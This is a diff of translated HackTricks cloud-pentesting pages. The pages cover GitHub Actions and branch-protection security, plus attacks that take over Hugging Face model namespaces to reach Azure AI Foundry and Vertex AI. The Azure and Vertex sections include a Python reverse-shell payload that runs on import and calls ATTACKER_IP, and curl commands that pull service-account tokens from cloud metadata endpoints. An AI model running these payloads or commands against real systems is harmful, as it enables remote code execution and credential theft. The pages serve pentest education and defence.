- GitHub App 应 **独立于用户执行操作**(除非该应用使用 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token)。为了使 user-to-server 访问令牌更安全,你可以使用将在 8 小时后过期的访问令牌,以及可以交换为新访问令牌的刷新令牌。更多信息见“[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)。”
|
||||
- 确保 GitHub App 与 **特定的 repositories 集成**。
|
||||
- GitHub App 应 **连接到个人账户或 organization**。
|
||||
- 不要期望 GitHub App 知道并做用户能做的一切。
|
||||
- **如果你仅需要“Login with GitHub”服务,不要使用 GitHub App**。但 GitHub App 可以使用 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户并执行其他操作。
|
||||
- 如果你仅想以 GitHub 用户身份行事并完成该用户能做的一切,也不要构建 GitHub App。
|
||||
- 如果你在 GitHub Actions 中使用你的应用并想修改 workflow 文件,必须使用包含 `workflow` scope 的 OAuth token 以用户身份进行认证。该用户必须对包含 workflow 文件的仓库具有 admin 或 write 权限。更多信息见“[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)。”
|
||||
- 更多信息见 [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)。
|
||||
- 一个 GitHub App 应该 **独立于用户采取行动**(除非该应用使用 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token)。为了使 user-to-server 访问令牌更安全,你可以使用将在 8 小时后过期的 access tokens,以及可以换取新 access token 的 refresh token。更多信息,参见 “[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens).”
|
||||
- 确保 GitHub App 与 **特定的 repositories** 集成。
|
||||
- GitHub App 应该 **连接到个人账户或组织**。
|
||||
- 不要期望 GitHub App 能了解并完成用户能做的所有操作。
|
||||
- **如果你仅需要“Login with GitHub”服务,请不要使用 GitHub App。** 但 GitHub App 可以使用 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户并执行其他操作。
|
||||
- 如果你只是想作为一个 GitHub 用户去做该用户能做的一切,不要构建 GitHub App。
|
||||
- 如果你在 GitHub Actions 中使用你的应用并想修改 workflow 文件,必须代表用户使用包含 `workflow` scope 的 OAuth token 进行身份验证。用户必须对包含 workflow 文件的仓库具有 admin 或 write 权限。更多信息,见 “[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).”
|
||||
- **更多信息** 在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)。
|
||||
|
||||
### Github Actions
|
||||
|
||||
这 **并不是 github 的一种身份验证方式**,但恶意的 Github Action 可能会获得 **对 github 的未授权访问**,并且 **根据 Action 被授予的权限** 可以实施多种不同的 **攻击**。下面会提供更多信息。
|
||||
这 **并不是在 github 中进行身份验证的一种方式**,但一个 **恶意的** Github Action 可能会获得 **未授权的 github 访问**,并且根据赋予该 Action 的 **权限**,可以实施多种 **不同的攻击**。下面会有更多信息。
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions 允许在 **事件发生时自动执行代码**。通常执行的代码与仓库中的代码 **以某种方式相关**(例如构建 docker 容器或检查 PR 中是否包含 secrets)。
|
||||
Git actions 允许在 **某个事件发生时自动执行代码**。通常被执行的代码与仓库中的代码 **某种程度相关**(例如构建 docker 容器或检查 PR 中是否包含 secrets)。
|
||||
|
||||
### Configuration
|
||||
|
||||
在 _https://github.com/organizations/\<org_name>/settings/actions_ 可以检查组织的 **github actions 配置**。
|
||||
在 _https://github.com/organizations/\<org_name>/settings/actions_ 可以查看组织的 **github actions 的配置**。
|
||||
|
||||
可以完全禁止使用 github actions,**允许所有 github actions**,或者仅允许某些 actions。
|
||||
可以完全禁止使用 github actions、**允许所有 github actions**,或仅允许特定的 actions。
|
||||
|
||||
还可以配置 **谁需要批准运行某个 Github Action** 以及 Github Action 运行时 **GITHUB_TOKEN 的权限**。
|
||||
还可以配置 **谁需要批准运行一个 Github Action** 以及 Github Action 运行时的 **GITHUB_TOKEN 的权限**。
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action 通常需要某种 secrets 来与 github 或第三方应用交互。为了 **避免将它们以明文放在仓库中**,github 允许将它们作为 **Secrets** 存放。
|
||||
Github Action 通常需要某种 secrets 来与 github 或第三方应用交互。为了 **避免将它们以明文放入仓库**,github 允许将它们作为 **Secrets** 存放。
|
||||
|
||||
这些 secrets 可以为单个 repo 或整个 organization 配置。然后,为了让 **Action 能够访问该 secret**,你需要像下面这样声明它:
|
||||
这些 secrets 可以为单个 repo 配置,也可以为整个组织配置。然后,为了让 **Action 能够访问该 secret**,你需要像下面这样声明它:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### 示例:使用 Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
#### 使用 Bash 的示例 <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
@@ -168,91 +168,90 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Secrets **只能从声明了它们的 Github Actions 中访问**。
|
||||
> Secrets **只能从声明了它们的 Github Actions 访问**。
|
||||
|
||||
> 一旦在 repo 或 organizations 中配置,**github 的用户将无法再次访问它们**,他们只能**修改它们**。
|
||||
> 一旦在 repo 或组织中配置后,**github 的用户将无法再次访问它们**,他们只能 **更改它们**。
|
||||
|
||||
因此,**窃取 github secrets 的唯一方法是能够访问正在执行该 Github Action 的机器**(在这种情况下,你只能访问为该 Action 声明的 secrets)。
|
||||
因此,**窃取 github secrets 的唯一方法是能够访问正在执行该 Github Action 的机器**(在这种情况下你只能访问为该 Action 声明的 secrets)。
|
||||
|
||||
### Git Environments
|
||||
### Git 环境
|
||||
|
||||
Github 允许创建 **environments**,在这些 environments 中可以保存 **secrets**。然后,你可以让 github action 访问该 environment 内的 secrets,例如:
|
||||
Github 允许创建 **环境**,在其中可以保存 **secrets**。然后,你可以像下面这样给 github action 授予对该环境内 secrets 的访问权限:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
您可以将环境配置为 **所有分支**(默认)可访问、**仅受保护分支**可访问,或 **指定** 哪些分支可以访问该环境。\
|
||||
此外,环境保护还包括:
|
||||
- **Required reviewers**:在目标环境的作业获批之前阻止其运行。启用 **Prevent self-review** 以在审批环节本身强制实施真正的四眼原则。
|
||||
- **Deployment branches and tags**:限制哪些分支/标签可以部署到该环境。建议选择具体的分支/标签,并确保这些分支受保护。注意: “Protected branches only” 选项适用于经典的分支保护,如果使用 rulesets 可能不会按预期工作。
|
||||
- **Wait timer**:延迟部署一段可配置的时间。
|
||||
|
||||
还可以设置在使用某个 **environment** 执行某个 **action** 之前所需的 **审查次数**,或者在允许部署继续之前 **等待** 一段 **时间**。
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action 可以在 github environment 内执行,也可以在用户配置的第三方基础设施中执行。
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
|
||||
一些组织允许在第三方基础设施上运行 Github Actions,因为通常这样会更便宜。
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
|
||||
你可以在 _https://github.com/organizations/\<org_name>/settings/actions/runners_ 列出一个组织的 self-hosted runners。
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
查找哪些 **Github Actions** 在非 Github 基础设施中执行的方法是搜索 Github Action 配置 yaml 中的 `runs-on: self-hosted`。
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
|
||||
不可能在不同组织的 self hosted 机器上运行某个组织的 Github Action,因为在配置 Runner 时会为该 Runner 生成一个唯一的 token,用于识别该 Runner 属于哪个组织。
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
|
||||
如果自定义的 Github Runner 部署在例如 AWS 或 GCP 中的机器上,该 Action 可能访问 metadata endpoint 并窃取该机器运行时所使用的 service account 的 token。
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
如果允许所有 actions(或某个恶意 action)运行,用户可能会使用一个 **malicious** 的 Github Action,从而**攻破**其执行所在的 **容器**。
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
|
||||
> [!CAUTION]
|
||||
> 恶意的 Github Action 运行可能被攻击者滥用以:
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
>
|
||||
> - **窃取该 Action 可访问的所有 secrets**
|
||||
> - 如果 Action 在可以访问 SA token 的第三方基础设施中执行(很可能通过 metadata service),则**横向移动**
|
||||
> - **滥用 workflow 使用的 token** 来**窃取仓库代码**(Action 运行的仓库)或**甚至修改代码**
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections 的设计目的是不给用户对仓库的完全控制权。目标是在能够向某个分支写入代码之前设置若干保护措施。
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
一个仓库的 **branch protections** 可以在 _https://github.com/\<orgname>/\<reponame>/settings/branches_ 找到。
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> 无法在组织级别设置分支保护。因此必须在每个仓库上逐一声明这些保护。
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
可以对某个分支(例如 master)应用不同的保护措施:
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- 可以 **要求在合并前先创建 PR**(因此不能直接将代码合并到该分支)。如果选择此项,还可以启用其他保护:
|
||||
- **要求一定数量的批准**。常见做法是要求 1 或 2 个以上的人批准你的 PR,这样单个用户就无法直接合并代码。
|
||||
- **当有新提交推送时撤销批准**。否则,用户可能先批准合法代码,然后再添加恶意代码并合并。
|
||||
- **Require approval of the most recent reviewable push**。确保在批准之后的任何新提交(包括其他协作者的推送)都会重新触发审查,以防止攻击者在批准后提交变更并合并。
|
||||
- **Require reviews from Code Owners**。至少需要仓库的 1 位 code owner 批准 PR(这样“随机”用户不能批准)。
|
||||
- **Restrict who can dismiss pull request reviews.** 可以指定允许撤销 PR 审查的人或团队。
|
||||
- **Allow specified actors to bypass pull request requirements**。这些用户将能够绕过前面的限制。
|
||||
- **Require status checks to pass before merging.** 在合并提交之前一些检查需要通过(例如报告 SAST 结果的 GitHub App)。提示:将必需的检查绑定到特定的 GitHub App;否则任何应用都可能通过 Checks API 假冒该检查,而且许多 bot 接受跳过指令(例如 “@bot-name skip”)。
|
||||
- **Require conversation resolution before merging**。合并 PR 之前需要解决代码上的所有评论。
|
||||
- **Require signed commits**。提交需要签名。
|
||||
- **Require linear history.** 防止向匹配的分支推送 merge commits。
|
||||
- **Include administrators**。如果未设置此项,管理员可以绕过这些限制。
|
||||
- **Restrict who can push to matching branches**。限制谁可以推送到匹配分支(或发送 PR)。
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
|
||||
> [!NOTE]
|
||||
> 如你所见,即便你设法获取了某个用户的部分凭据,**仓库的保护措施可能仍会阻止你将代码推送到 master**,例如防止你通过修改 CI/CD 来进行破坏。
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
标签(如 latest、stable)默认是可变的。为在标签更新上实施四眼流程,应保护标签并通过环境与分支串联保护:
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
|
||||
1) 在标签保护规则上启用 **Require deployments to succeed**,并要求对受保护环境(例如 prod)成功部署。
|
||||
2) 在目标环境中,将 **Deployment branches and tags** 限制为发布分支(例如 main),并可选地为 **Required reviewers** 配置 **Prevent self-review**。
|
||||
3) 在发布分支上,为分支配置保护以 **Require a pull request**,设置 approvals ≥ 1,并启用 **Dismiss approvals when new commits are pushed** 与 **Require approval of the most recent reviewable push**。
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
|
||||
该链条可防止单个协作者通过编辑 workflow YAML 来重新打标签或强制发布 release,因为部署闸门是在 workflow 之外强制执行的。
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - 后渗透
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -5,12 +5,12 @@
|
||||
## 场景
|
||||
|
||||
- Azure AI Foundry Model Catalog 包含许多可一键部署的 Hugging Face (HF) 模型。
|
||||
- HF model identifiers are Author/ModelName。如果某个 HF author/org 被删除,任何人都可以重新注册该 author 并在相同的 legacy path 发布具有相同 ModelName 的模型。
|
||||
- 仅按名称拉取的 pipelines 和 catalogs(不做 commit pinning/integrity)会解析到攻击者控制的 repos。当 Azure 部署该模型时,loader 代码可能在 endpoint 环境执行,从而以该 endpoint 的权限获得 RCE。
|
||||
- HF model identifiers are Author/ModelName。 如果某个 HF author/org 被删除,任何人都可以重新注册该 author 并在 legacy path 发布具有相同 ModelName 的模型。
|
||||
- 那些仅按名称拉取(no commit pinning/integrity)的 pipelines 和 catalogs 会解析到被攻击者控制的 repos。当 Azure 部署模型时,loader code 可能在 endpoint 环境中执行,从而以该 endpoint 的权限获得 RCE。
|
||||
|
||||
Common HF takeover cases:
|
||||
- Ownership deletion: 旧路径 404,直到 takeover。
|
||||
- Ownership transfer: 在旧 author 存在时旧路径会 307 到新 author。如果旧 author 后来被删除并重新注册,重定向会失效,攻击者的 repo 将在 legacy path 提供服务。
|
||||
常见的 HF takeover 情况:
|
||||
- Ownership deletion:旧路径返回 404,直到被接管。
|
||||
- Ownership transfer:当旧 author 仍存在时,旧路径会 307 重定向到新 author。如果旧 author 之后被删除并被重新注册,重定向会失效,攻击者的 repo 将在 legacy path 提供服务。
|
||||
|
||||
## 识别可重用的命名空间 (HF)
|
||||
```bash
|
||||
@@ -23,12 +23,12 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
```
|
||||
## 针对 Azure AI Foundry 的端到端攻击流程
|
||||
|
||||
1) 在 Model Catalog 中,查找在 HF 上原始作者被删除或转移(旧作者被移除)的 HF models。
|
||||
2) 在 HF 上重新注册被遗弃的作者并重新创建 ModelName。
|
||||
3) 发布一个包含在 import 时执行或需要 trust_remote_code=True 的 loader 代码的恶意 repo。
|
||||
4) 从 Azure AI Foundry 部署旧的 Author/ModelName。平台会拉取攻击者的 repo;loader 在 Azure endpoint 的 container/VM 内执行,从而以 endpoint 权限实现 RCE。
|
||||
1) 在 Model Catalog 中,查找在 HF 上原始 author 已被删除或转移(旧 author 已被移除)的模型。
|
||||
2) 在 HF 上重新注册被弃用的 author 并重建 ModelName。
|
||||
3) 发布一个包含在 import 时执行或需要 trust_remote_code=True 的 loader code 的恶意 repo。
|
||||
4) 从 Azure AI Foundry 部署遗留的 Author/ModelName。平台会拉取攻击者的 repo;loader 在 Azure endpoint 容器/VM 内执行,从而在具有 endpoint permissions 的情况下造成 RCE。
|
||||
|
||||
示例 payload 片段,在 import 时执行(仅作演示):
|
||||
示例 payload 片段,在 import 时执行(仅用于演示):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -46,10 +46,10 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
注意
|
||||
- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
|
||||
- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
|
||||
- AI Foundry 部署在集成 HF 时,通常会克隆并导入模型配置所引用的仓库模块(例如 auto_map),这可能触发代码执行。某些路径需要 trust_remote_code=True。
|
||||
- 访问通常与该端点的 managed identity/service principal 权限一致。应将其视为在 Azure 内进行数据访问和横向移动的初始访问据点。
|
||||
|
||||
## 后利用提示 (Azure Endpoint)
|
||||
## Post-Exploitation 提示 (Azure 端点)
|
||||
|
||||
- 枚举环境变量和 MSI 端点以获取令牌:
|
||||
```bash
|
||||
@@ -57,30 +57,30 @@ threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- 使用获取到的 token 检查已挂载的存储、模型工件,以及可达的 Azure services。
|
||||
- 如果平台会从 HF 重新拉取,考虑通过留置被投毒的模型工件以实现 persistence。
|
||||
- 使用获取的 token 检查已挂载的存储、模型工件以及可访问的 Azure 服务。
|
||||
- 如果平台会从 HF 重新拉取,可考虑通过留下被投毒的模型工件实现持久性。
|
||||
|
||||
## 针对 Azure AI Foundry 用户的防御性指南
|
||||
## Azure AI Foundry 用户的防御建议
|
||||
|
||||
- 从 HF 加载时按 commit 固定模型:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 将经过审查的 HF 模型镜像到受信任的内部注册表,并从那里部署。
|
||||
- 持续扫描代码库和默认值/文档字符串/笔记本,以查找被硬编码的 Author/ModelName(被删除/已转移);更新或固定(pin)。
|
||||
- 在部署之前验证作者存在性和模型来源。
|
||||
- 将已审核的 HF 模型镜像到受信任的内部注册表并从那里部署。
|
||||
- 持续扫描代码库和 defaults/docstrings/notebooks 中的硬编码 Author/ModelName(已被删除/转移);进行更新或固定版本。
|
||||
- 在部署前验证 author 是否存在以及 model provenance。
|
||||
|
||||
## 识别启发式 (HTTP)
|
||||
|
||||
- 已删除作者:作者页面 404;旧的模型路径在接管之前返回 404。
|
||||
- 已转移的模型:在旧作者仍存在时,旧的模型路径会 307 重定向到新作者;如果旧作者后来被删除并重新注册,旧路径会提供攻击者内容。
|
||||
- Deleted author: author 页面 404;legacy model path 404,直到被接管。
|
||||
- Transferred model: legacy path 307 指向新 author,而旧 author 仍存在;如果旧 author 之后被删除并重新注册,legacy path 会提供攻击者内容。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 交叉引用
|
||||
|
||||
- 请参阅更广泛的方法论和供应链注意事项:
|
||||
- 有关更广泛的方法论和供应链说明,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
@@ -5,19 +5,19 @@
|
||||
## 场景
|
||||
|
||||
- Vertex AI Model Garden 允许直接部署许多 Hugging Face (HF) 模型。
|
||||
- HF 模型标识符为 Author/ModelName。如果 HF 上的作者/组织被删除,相同的作者名可以被任何人重新注册。攻击者随后可以在遗留路径创建具有相同 ModelName 的 repo。
|
||||
- 那些仅按名称拉取(没有 pinning/integrity)的 pipelines、SDKs 或 cloud catalogs 会拉取攻击者控制的 repo。当模型被部署时,该 repo 中的 loader 代码可能在 Vertex AI endpoint 容器内执行,从而以 endpoint 的权限获得 RCE。
|
||||
- HF 模型标识符为 Author/ModelName。如果 HF 上的 author/org 被删除,任何人都可以重新注册相同的 author 名称。攻击者随后可以在旧路径上创建具有相同 ModelName 的仓库。
|
||||
- Pipelines、SDKs 或仅按名称获取的 cloud catalogs(无 pinning/integrity)将拉取由攻击者控制的仓库。当模型被部署时,该仓库中的 loader code 可以在 Vertex AI endpoint 容器内部执行,从而以 endpoint 的权限获取 RCE。
|
||||
|
||||
HF 上两种常见的接管情况:
|
||||
- 所有权删除:旧路径返回 404,直到有人重新注册该作者并发布相同的 ModelName。
|
||||
- 所有权转移:HF 会对旧的 Author/ModelName 发出 307 重定向到新作者。如果旧作者随后被删除并被攻击者重新注册,重定向链将被破坏,攻击者的 repo 将在遗留路径提供服务。
|
||||
- Ownership deletion:旧路径返回 404,直到有人重新注册该 author 并发布相同的 ModelName。
|
||||
- Ownership transfer:HF 会对旧的 Author/ModelName 发出 307 重定向到新所有者。如果旧 author 随后被删除并被攻击者重新注册,重定向链将被打破,攻击者的仓库会在旧路径提供内容。
|
||||
|
||||
## 识别可重用命名空间 (HF)
|
||||
## 识别可重用的命名空间 (HF)
|
||||
|
||||
- 老作者被删除:作者页面返回 404;模型路径可能返回 404,直到被接管。
|
||||
- 被转移的模型:在旧作者存在时旧模型路径会向新所有者发出 307。如果旧作者随后被删除并被重新注册,遗留路径将解析到攻击者的 repo。
|
||||
- 已删除旧 author:author 的页面返回 404;模型路径可能在接管前返回 404。
|
||||
- 已转移的模型:在旧 author 存在时,旧的模型路径会对新所有者发出 307。如果旧 author 随后被删除并被重新注册,遗留路径将解析到攻击者的仓库。
|
||||
|
||||
使用 curl 的快速检查:
|
||||
使用 curl 进行快速检查:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## 针对 Vertex AI 的端到端攻击流程
|
||||
## End-to-end Attack Flow against Vertex AI
|
||||
|
||||
1) 发现 Model Garden 列为可部署的可重用模型命名空间:
|
||||
- 在 Vertex AI Model Garden 中查找仍显示为 “verified deployable” 的 HF 模型。
|
||||
- 在 HF 上核实原作者是否已被删除,或模型是否被转移且旧作者随后被移除。
|
||||
1) Discover reusable model namespaces that Model Garden lists as deployable:
|
||||
- 查找在 Vertex AI Model Garden 中仍显示为 “verified deployable” 的 HF 模型。
|
||||
- 在 HF 上确认原始作者是否已被删除,或模型是否被转移且旧作者随后被移除。
|
||||
|
||||
2) 在 HF 上重新注册已删除的作者并重建相同的 ModelName。
|
||||
2) Re-register the deleted author on HF and recreate the same ModelName.
|
||||
|
||||
3) 发布恶意 repo。包含在模型加载时执行的代码。常在 HF 模型加载期间执行的示例:
|
||||
- 在仓库的 __init__.py 中的副作用
|
||||
- 被 config/auto_map 引用的自定义 modeling_*.py 或处理代码
|
||||
- 在 Transformers pipelines 中需要 trust_remote_code=True 的代码路径
|
||||
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
|
||||
- Side effects in __init__.py of the repo
|
||||
- Custom modeling_*.py or processing code referenced by config/auto_map
|
||||
- Code paths that require trust_remote_code=True in Transformers pipelines
|
||||
|
||||
4) 遗留 Author/ModelName 的 Vertex AI 部署现在会拉取攻击者的 repo。加载器在 Vertex AI endpoint 容器内执行。
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
|
||||
5) Payload 在 endpoint 环境中建立访问(RCE),并使用该 endpoint 的权限。
|
||||
5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
|
||||
|
||||
示例 payload 片段,在导入时执行(仅用于演示):
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -62,38 +62,38 @@ subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
注意事项
|
||||
- 实际的加载器各不相同。许多 Vertex AI HF 集成会 clone 并导入模型配置中引用的 repo 模块(例如 auto_map),这可能触发 code execution。某些用法需要 trust_remote_code=True。
|
||||
- 该 endpoint 通常在作用域受限的独立容器中运行,但它是获取数据访问和在 GCP 中横向移动的一个有效初始立足点。
|
||||
Notes
|
||||
- 实际环境中的加载器各不相同。许多 Vertex AI HF 集成会克隆并导入模型配置中引用的仓库模块(例如 auto_map),这可能触发代码执行。有些用法需要 trust_remote_code=True。
|
||||
- 该 endpoint 通常在作用域受限的专用容器中运行,但它仍然是获取数据访问和在 GCP 内横向移动的有效初始立足点。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
一旦 code 在 endpoint 容器内运行,考虑:
|
||||
- 枚举环境变量和 metadata 以寻找凭证/令牌
|
||||
- 访问附加的存储或已挂载的 model artifacts
|
||||
- 通过 service account 身份与 Google APIs 交互(Document AI, Storage, Pub/Sub 等)
|
||||
- 在 model artifact 中保持持久性(如果平台会重新拉取 repo)
|
||||
一旦代码在 endpoint 容器内运行,可考虑:
|
||||
- 列举环境变量和元数据以获取凭证/令牌
|
||||
- 访问附加存储或挂载的模型制品
|
||||
- 通过服务账户身份与 Google APIs 交互(Document AI、Storage、Pub/Sub 等)
|
||||
- 在模型制品中实现持久化,如果平台会重新拉取仓库
|
||||
|
||||
如果可访问,枚举 instance metadata(取决于容器):
|
||||
如果可访问(取决于容器),列举实例元数据:
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## 面向 Vertex AI 用户的防御建议
|
||||
## Vertex AI 用户的防御建议
|
||||
|
||||
- 在 HF loaders 中按 commit 固定模型,以防止静默替换:
|
||||
- 在 HF loaders 中按 commit 固定模型以防止静默替换:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 将经过审核的 HF 模型镜像到受信任的内部 artifact store/registry,并从那里部署。
|
||||
- 持续扫描代码库和配置以查找被硬编码的 Author/ModelName(已删除/已转移);将其更新为新命名空间或按 commit 固定。
|
||||
- 将经过审查的 HF 模型镜像到受信任的内部 artifact 存储/注册表,并从那里进行部署。
|
||||
- 持续扫描代码库和配置,查找被硬编码的 Author/ModelName(已删除/已转移);将其更新为新的命名空间或按 commit 固定。
|
||||
- 在 Model Garden 中,部署前验证模型来源和作者是否存在。
|
||||
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Deleted author: author page 404; legacy model path 404 until takeover.
|
||||
